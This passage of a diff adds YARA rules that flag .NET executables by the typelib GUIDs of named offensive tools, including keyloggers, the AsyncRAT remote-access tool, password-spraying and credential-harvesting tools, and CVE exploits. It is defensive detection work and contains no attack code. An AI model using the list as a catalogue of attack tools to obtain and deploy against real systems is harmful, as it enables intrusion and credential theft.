+        $typelibguid0lo = "579159ff-3a3d-46a7-b069-91204feb21cd" ascii wide
+        $typelibguid0up = "579159FF-3A3D-46A7-B069-91204FEB21CD" ascii wide
+        $typelibguid1lo = "5b7dd9be-c8c3-4c4f-a353-fefb89baa7b3" ascii wide
+        $typelibguid1up = "5B7DD9BE-C8C3-4C4F-A353-FEFB89BAA7B3" ascii wide
+        $typelibguid2lo = "43edcb1f-3098-4a23-a7f2-895d927bc661" ascii wide
+        $typelibguid2up = "43EDCB1F-3098-4A23-A7F2-895D927BC661" ascii wide
+        $typelibguid3lo = "5f19919d-cd51-4e77-973f-875678360a6f" ascii wide
+        $typelibguid3up = "5F19919D-CD51-4E77-973F-875678360A6F" ascii wide
+        $typelibguid4lo = "17fbc926-e17e-4034-ba1b-fb2eb57f5dd3" ascii wide
+        $typelibguid4up = "17FBC926-E17E-4034-BA1B-FB2EB57F5DD3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Change_Lockscreen {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/nccgroup/Change-Lockscreen"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "a817c6e8-95f9-56c6-97b8-4be06658629f"
+    strings:
+        $typelibguid0lo = "78642ab3-eaa6-4e9c-a934-e7b0638bc1cc" ascii wide
+        $typelibguid0up = "78642AB3-EAA6-4E9C-A934-E7B0638BC1CC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_LOLBITS {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Kudaes/LOLBITS"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "66454ac0-742b-51a3-ac45-1ac9606e8b89"
+    strings:
+        $typelibguid0lo = "29d09aa4-ea0c-47c2-973c-1d768087d527" ascii wide
+        $typelibguid0up = "29D09AA4-EA0C-47C2-973C-1D768087D527" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Keylogger {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/BlackVikingPro/Keylogger"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0576756e-26d5-5165-b621-917126a75a38"
+    strings:
+        $typelibguid0lo = "7afbc9bf-32d9-460f-8a30-35e30aa15879" ascii wide
+        $typelibguid0up = "7AFBC9BF-32D9-460F-8A30-35E30AA15879" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CVE_2020_1337 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/neofito/CVE-2020-1337"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "4b79867d-761c-5aa8-bf8a-60caa50d8aa6"
+    strings:
+        $typelibguid0lo = "d9c2e3c1-e9cc-42b0-a67c-b6e1a4f962cc" ascii wide
+        $typelibguid0up = "D9C2E3C1-E9CC-42B0-A67C-B6E1A4F962CC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpLogger {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/SharpLogger"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5cce395b-4f6f-5015-b45e-7eb79853296a"
+    strings:
+        $typelibguid0lo = "36e00152-e073-4da8-aa0c-375b6dd680c4" ascii wide
+        $typelibguid0up = "36E00152-E073-4DA8-AA0C-375B6DD680C4" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AsyncRAT_C_Sharp {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "858a079d-71e8-516e-a2a9-f0969edc758b"
+    strings:
+        $typelibguid0lo = "619b7612-dfea-442a-a927-d997f99c497b" ascii wide
+        $typelibguid0up = "619B7612-DFEA-442A-A927-D997F99C497B" ascii wide
+        $typelibguid1lo = "424b81be-2fac-419f-b4bc-00ccbe38491f" ascii wide
+        $typelibguid1up = "424B81BE-2FAC-419F-B4BC-00CCBE38491F" ascii wide
+        $typelibguid2lo = "37e20baf-3577-4cd9-bb39-18675854e255" ascii wide
+        $typelibguid2up = "37E20BAF-3577-4CD9-BB39-18675854E255" ascii wide
+        $typelibguid3lo = "dafe686a-461b-402b-bbd7-2a2f4c87c773" ascii wide
+        $typelibguid3up = "DAFE686A-461B-402B-BBD7-2A2F4C87C773" ascii wide
+        $typelibguid4lo = "ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3" ascii wide
+        $typelibguid4up = "EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3" ascii wide
+        $typelibguid5lo = "8bfc8ed2-71cc-49dc-9020-2c8199bc27b6" ascii wide
+        $typelibguid5up = "8BFC8ED2-71CC-49DC-9020-2C8199BC27B6" ascii wide
+        $typelibguid6lo = "d640c36b-2c66-449b-a145-eb98322a67c8" ascii wide
+        $typelibguid6up = "D640C36B-2C66-449B-A145-EB98322A67C8" ascii wide
+        $typelibguid7lo = "8de42da3-be99-4e7e-a3d2-3f65e7c1abce" ascii wide
+        $typelibguid7up = "8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE" ascii wide
+        $typelibguid8lo = "bee88186-769a-452c-9dd9-d0e0815d92bf" ascii wide
+        $typelibguid8up = "BEE88186-769A-452C-9DD9-D0E0815D92BF" ascii wide
+        $typelibguid9lo = "9042b543-13d1-42b3-a5b6-5cc9ad55e150" ascii wide
+        $typelibguid9up = "9042B543-13D1-42B3-A5B6-5CC9AD55E150" ascii wide
+        $typelibguid10lo = "6aa4e392-aaaf-4408-b550-85863dd4baaf" ascii wide
+        $typelibguid10up = "6AA4E392-AAAF-4408-B550-85863DD4BAAF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DarkFender {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xyg3n/DarkFender"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0aea5e05-7788-5581-8bcc-d2e75a291dd9"
+    strings:
+        $typelibguid0lo = "12fdf7ce-4a7c-41b6-9b32-766ddd299beb" ascii wide
+        $typelibguid0up = "12FDF7CE-4A7C-41B6-9B32-766DDD299BEB" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+/* FPs with IronPython
+rule HKTL_NET_GUID_IronKit {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/nshalabi/IronKit"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        score = 50
+        date = "2020-12-13"
+        modified = "2023-04-06"
+    strings:
+        $typelibguid0lo = "68e40495-c34a-4539-b43e-9e4e6f11a9fb" ascii wide
+        $typelibguid0up = "68E40495-C34A-4539-B43E-9E4E6F11A9FB" ascii wide
+        $typelibguid1lo = "641cd52d-3886-4a74-b590-2a05621502a4" ascii wide
+        $typelibguid1up = "641CD52D-3886-4A74-B590-2A05621502A4" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+*/
+
+rule HKTL_NET_GUID_MinerDropper {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/DylanAlloy/MinerDropper"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "607f72df-b0c1-53df-bf2c-592f55cbfcb7"
+    strings:
+        $typelibguid0lo = "46a7af83-1da7-40b2-9d86-6fd6223f6791" ascii wide
+        $typelibguid0up = "46A7AF83-1DA7-40B2-9D86-6FD6223F6791" ascii wide
+        $typelibguid1lo = "8433a693-f39d-451b-955b-31c3e7fa6825" ascii wide
+        $typelibguid1up = "8433A693-F39D-451B-955B-31C3E7FA6825" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpDomainSpray {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/HunnicCyber/SharpDomainSpray"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "cffd3350-4a86-5035-ab15-adbc3ac2a0e9"
+    strings:
+        $typelibguid0lo = "76ffa92b-429b-4865-970d-4e7678ac34ea" ascii wide
+        $typelibguid0up = "76FFA92B-429B-4865-970D-4E7678AC34EA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_iSpyKeylogger {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mwsrc/iSpyKeylogger"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8607de67-b472-5afc-b2b9-cc758b5ec474"
+    strings:
+        $typelibguid0lo = "ccc0a386-c4ce-42ef-aaea-b2af7eff4ad8" ascii wide
+        $typelibguid0up = "CCC0A386-C4CE-42EF-AAEA-B2AF7EFF4AD8" ascii wide
+        $typelibguid1lo = "816b8b90-2975-46d3-aac9-3c45b26437fa" ascii wide
+        $typelibguid1up = "816B8B90-2975-46D3-AAC9-3C45B26437FA" ascii wide
+        $typelibguid2lo = "279b5533-d3ac-438f-ba89-3fe9de2da263" ascii wide
+        $typelibguid2up = "279B5533-D3AC-438F-BA89-3FE9DE2DA263" ascii wide
+        $typelibguid3lo = "88d3dc02-2853-4bf0-b6dc-ad31f5135d26" ascii wide
+        $typelibguid3up = "88D3DC02-2853-4BF0-B6DC-AD31F5135D26" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SolarFlare {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mubix/solarflare"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-15"
+        modified = "2023-04-06"
+        id = "3645e14c-6025-59fa-a5a2-d8dacba8cd94"
+    strings:
+        $typelibguid0lo = "ca60e49e-eee9-409b-8d1a-d19f1d27b7e4" ascii wide
+        $typelibguid0up = "CA60E49E-EEE9-409B-8D1A-D19F1D27B7E4" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Snaffler {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/SnaffCon/Snaffler"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d4b9a8c5-e0d9-5c85-af81-05f6e0f52bff"
+    strings:
+        $typelibguid0lo = "2aa060b4-de88-4d2a-a26a-760c1cefec3e" ascii wide
+        $typelibguid0up = "2AA060B4-DE88-4D2A-A26A-760C1CEFEC3E" ascii wide
+        $typelibguid1lo = "b118802d-2e46-4e41-aac7-9ee890268f8b" ascii wide
+        $typelibguid1up = "B118802D-2E46-4E41-AAC7-9EE890268F8B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpShares {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/SharpShares/"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e96aa79b-1da2-5b0c-9ac2-b6e201e06ec6"
+    strings:
+        $typelibguid0lo = "fe9fdde5-3f38-4f14-8c64-c3328c215cf2" ascii wide
+        $typelibguid0up = "FE9FDDE5-3F38-4F14-8C64-C3328C215CF2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpEDRChecker {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/PwnDexter/SharpEDRChecker"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-18"
+        modified = "2023-04-06"
+        id = "f7ff344e-f8ee-5c3a-bdd1-de3cae8e7dfb"
+    strings:
+        $typelibguid0lo = "bdfee233-3fed-42e5-aa64-492eb2ac7047" ascii wide
+        $typelibguid0up = "BDFEE233-3FED-42E5-AA64-492EB2AC7047" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpClipHistory {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FSecureLABS/SharpClipHistory"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "89ca4717-a4ec-5371-8dc3-bdb9933384af"
+    strings:
+        $typelibguid0lo = "1126d5b4-efc7-4b33-a594-b963f107fe82" ascii wide
+        $typelibguid0up = "1126D5B4-EFC7-4B33-A594-B963F107FE82" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpGPO_RemoteAccessPolicies {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "642c2672-2327-5a4a-af91-6e0559996908"
+    strings:
+        $typelibguid0lo = "fbb1abcf-2b06-47a0-9311-17ba3d0f2a50" ascii wide
+        $typelibguid0up = "FBB1ABCF-2B06-47A0-9311-17BA3D0F2A50" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Absinthe {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/cameronhotchkies/Absinthe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "8f25593b-b9d2-5807-b299-b039ecfd43a5"
+    strings:
+        $typelibguid0lo = "9936ae73-fb4e-4c5e-a5fb-f8aaeb3b9bd6" ascii wide
+        $typelibguid0up = "9936AE73-FB4E-4C5E-A5FB-F8AAEB3B9BD6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ExploitRemotingService {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/tyranid/ExploitRemotingService"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "2f0b9635-2b2e-5825-baeb-69d7ae3791b1"
+    strings:
+        $typelibguid0lo = "fd17ae38-2fd3-405f-b85b-e9d14e8e8261" ascii wide
+        $typelibguid0up = "FD17AE38-2FD3-405F-B85B-E9D14E8E8261" ascii wide
+        $typelibguid1lo = "1850b9bb-4a23-4d74-96b8-58f274674566" ascii wide
+        $typelibguid1up = "1850B9BB-4A23-4D74-96B8-58F274674566" ascii wide
+        $typelibguid2lo = "297cbca1-efa3-4f2a-8d5f-e1faf02ba587" ascii wide
+        $typelibguid2up = "297CBCA1-EFA3-4F2A-8D5F-E1FAF02BA587" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Xploit {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/shargon/Xploit"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "11ba6c14-06b6-5d9f-ac69-08ae506877e7"
+    strings:
+        $typelibguid0lo = "4545cfde-9ee5-4f1b-b966-d128af0b9a6e" ascii wide
+        $typelibguid0up = "4545CFDE-9EE5-4F1B-B966-D128AF0B9A6E" ascii wide
+        $typelibguid1lo = "33849d2b-3be8-41e8-a1e2-614c94c4533c" ascii wide
+        $typelibguid1up = "33849D2B-3BE8-41E8-A1E2-614C94C4533C" ascii wide
+        $typelibguid2lo = "c2dc73cc-a959-4965-8499-a9e1720e594b" ascii wide
+        $typelibguid2up = "C2DC73CC-A959-4965-8499-A9E1720E594B" ascii wide
+        $typelibguid3lo = "77059fa1-4b7d-4406-bc1a-cb261086f915" ascii wide
+        $typelibguid3up = "77059FA1-4B7D-4406-BC1A-CB261086F915" ascii wide
+        $typelibguid4lo = "a4a04c4d-5490-4309-9c90-351e5e5fd6d1" ascii wide
+        $typelibguid4up = "A4A04C4D-5490-4309-9C90-351E5E5FD6D1" ascii wide
+        $typelibguid5lo = "ca64f918-3296-4b7d-9ce6-b98389896765" ascii wide
+        $typelibguid5up = "CA64F918-3296-4B7D-9CE6-B98389896765" ascii wide
+        $typelibguid6lo = "10fe32a0-d791-47b2-8530-0b19d91434f7" ascii wide
+        $typelibguid6up = "10FE32A0-D791-47B2-8530-0B19D91434F7" ascii wide
+        $typelibguid7lo = "679bba57-3063-4f17-b491-4f0a730d6b02" ascii wide
+        $typelibguid7up = "679BBA57-3063-4F17-B491-4F0A730D6B02" ascii wide
+        $typelibguid8lo = "0981e164-5930-4ba0-983c-1cf679e5033f" ascii wide
+        $typelibguid8up = "0981E164-5930-4BA0-983C-1CF679E5033F" ascii wide
+        $typelibguid9lo = "2a844ca2-5d6c-45b5-963b-7dca1140e16f" ascii wide
+        $typelibguid9up = "2A844CA2-5D6C-45B5-963B-7DCA1140E16F" ascii wide
+        $typelibguid10lo = "7d75ca11-8745-4382-b3eb-c41416dbc48c" ascii wide
+        $typelibguid10up = "7D75CA11-8745-4382-B3EB-C41416DBC48C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PoC {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/thezdi/PoC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "5669bc1a-b32e-5ae7-bf94-8ed2a124c765"
+    strings:
+        $typelibguid0lo = "89f9d411-e273-41bb-8711-209fd251ca88" ascii wide
+        $typelibguid0up = "89F9D411-E273-41BB-8711-209FD251CA88" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpGPOAbuse {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FSecureLABS/SharpGPOAbuse"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "ea27044f-69be-5db7-8d77-28dafb18c7e5"
+    strings:
+        $typelibguid0lo = "4f495784-b443-4838-9fa6-9149293af785" ascii wide
+        $typelibguid0up = "4F495784-B443-4838-9FA6-9149293AF785" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Watson {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/Watson"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "6dc7bb08-0b34-50a0-8ae8-02d96d66a334"
+    strings:
+        $typelibguid0lo = "49ad5f38-9e37-4967-9e84-fe19c7434ed7" ascii wide
+        $typelibguid0up = "49AD5F38-9E37-4967-9E84-FE19C7434ED7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_StandIn {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FuzzySecurity/StandIn"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "2af3c28a-ce5d-5dea-9abe-ff54b180049e"
+    strings:
+        $typelibguid0lo = "01c142ba-7af1-48d6-b185-81147a2f7db7" ascii wide
+        $typelibguid0up = "01C142BA-7AF1-48D6-B185-81147A2F7DB7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_azure_password_harvesting {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/guardicore/azure_password_harvesting"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "681cf9da-d664-5402-b7ac-eb2cfad85da9"
+    strings:
+        $typelibguid0lo = "7ad1ff2d-32ac-4c54-b615-9bb164160dac" ascii wide
+        $typelibguid0up = "7AD1FF2D-32AC-4C54-B615-9BB164160DAC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_PowerOPS {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/fdiskyou/PowerOPS"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "3ef9f099-13c9-5b6f-8615-232240530078"
+    strings:
+        $typelibguid0lo = "2a3c5921-7442-42c3-8cb9-24f21d0b2414" ascii wide
+        $typelibguid0up = "2A3C5921-7442-42C3-8CB9-24F21D0B2414" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Random_CSharpTools {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/xorrior/Random-CSharpTools"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-21"
+        modified = "2023-04-06"
+        id = "ad8b5573-ad20-50cd-927b-a6401b10e653"
+    strings:
+        $typelibguid0lo = "f7fc19da-67a3-437d-b3b0-2a257f77a00b" ascii wide
+        $typelibguid0up = "F7FC19DA-67A3-437D-B3B0-2A257F77A00B" ascii wide
+        $typelibguid1lo = "47e85bb6-9138-4374-8092-0aeb301fe64b" ascii wide
+        $typelibguid1up = "47E85BB6-9138-4374-8092-0AEB301FE64B" ascii wide
+        $typelibguid2lo = "c7d854d8-4e3a-43a6-872f-e0710e5943f7" ascii wide
+        $typelibguid2up = "C7D854D8-4E3A-43A6-872F-E0710E5943F7" ascii wide
+        $typelibguid3lo = "d6685430-8d8d-4e2e-b202-de14efa25211" ascii wide
+        $typelibguid3up = "D6685430-8D8D-4E2E-B202-DE14EFA25211" ascii wide
+        $typelibguid4lo = "1df925fc-9a89-4170-b763-1c735430b7d0" ascii wide
+        $typelibguid4up = "1DF925FC-9A89-4170-B763-1C735430B7D0" ascii wide
+        $typelibguid5lo = "817cc61b-8471-4c1e-b5d6-c754fc550a03" ascii wide
+        $typelibguid5up = "817CC61B-8471-4C1E-B5D6-C754FC550A03" ascii wide
+        $typelibguid6lo = "60116613-c74e-41b9-b80e-35e02f25891e" ascii wide
+        $typelibguid6up = "60116613-C74E-41B9-B80E-35E02F25891E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CVE_2020_0668 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/RedCursorSecurityConsulting/CVE-2020-0668"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "54c87578-f0f1-5108-a736-b6acd9624d29"
+    strings:
+        $typelibguid0lo = "1b4c5ec1-2845-40fd-a173-62c450f12ea5" ascii wide
+        $typelibguid0up = "1B4C5EC1-2845-40FD-A173-62C450F12EA5" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_WindowsRpcClients {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/tyranid/WindowsRpcClients"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "70fd7431-8c32-52a4-be9f-2a19ef77f2cc"
+    strings:
+        $typelibguid0lo = "843d8862-42eb-49ee-94e6-bca798dd33ea" ascii wide
+        $typelibguid0up = "843D8862-42EB-49EE-94E6-BCA798DD33EA" ascii wide
+        $typelibguid1lo = "632e4c3b-3013-46fc-bc6e-22828bf629e3" ascii wide
+        $typelibguid1up = "632E4C3B-3013-46FC-BC6E-22828BF629E3" ascii wide
+        $typelibguid2lo = "a2091d2f-6f7e-4118-a203-4cea4bea6bfa" ascii wide
+        $typelibguid2up = "A2091D2F-6F7E-4118-A203-4CEA4BEA6BFA" ascii wide
+        $typelibguid3lo = "950ef8ce-ec92-4e02-b122-0d41d83065b8" ascii wide
+        $typelibguid3up = "950EF8CE-EC92-4E02-B122-0D41D83065B8" ascii wide
+        $typelibguid4lo = "d51301bc-31aa-4475-8944-882ecf80e10d" ascii wide
+        $typelibguid4up = "D51301BC-31AA-4475-8944-882ECF80E10D" ascii wide
+        $typelibguid5lo = "823ff111-4de2-4637-af01-4bdc3ca4cf15" ascii wide
+        $typelibguid5up = "823FF111-4DE2-4637-AF01-4BDC3CA4CF15" ascii wide
+        $typelibguid6lo = "5d28f15e-3bb8-4088-abe0-b517b31d4595" ascii wide
+        $typelibguid6up = "5D28F15E-3BB8-4088-ABE0-B517B31D4595" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
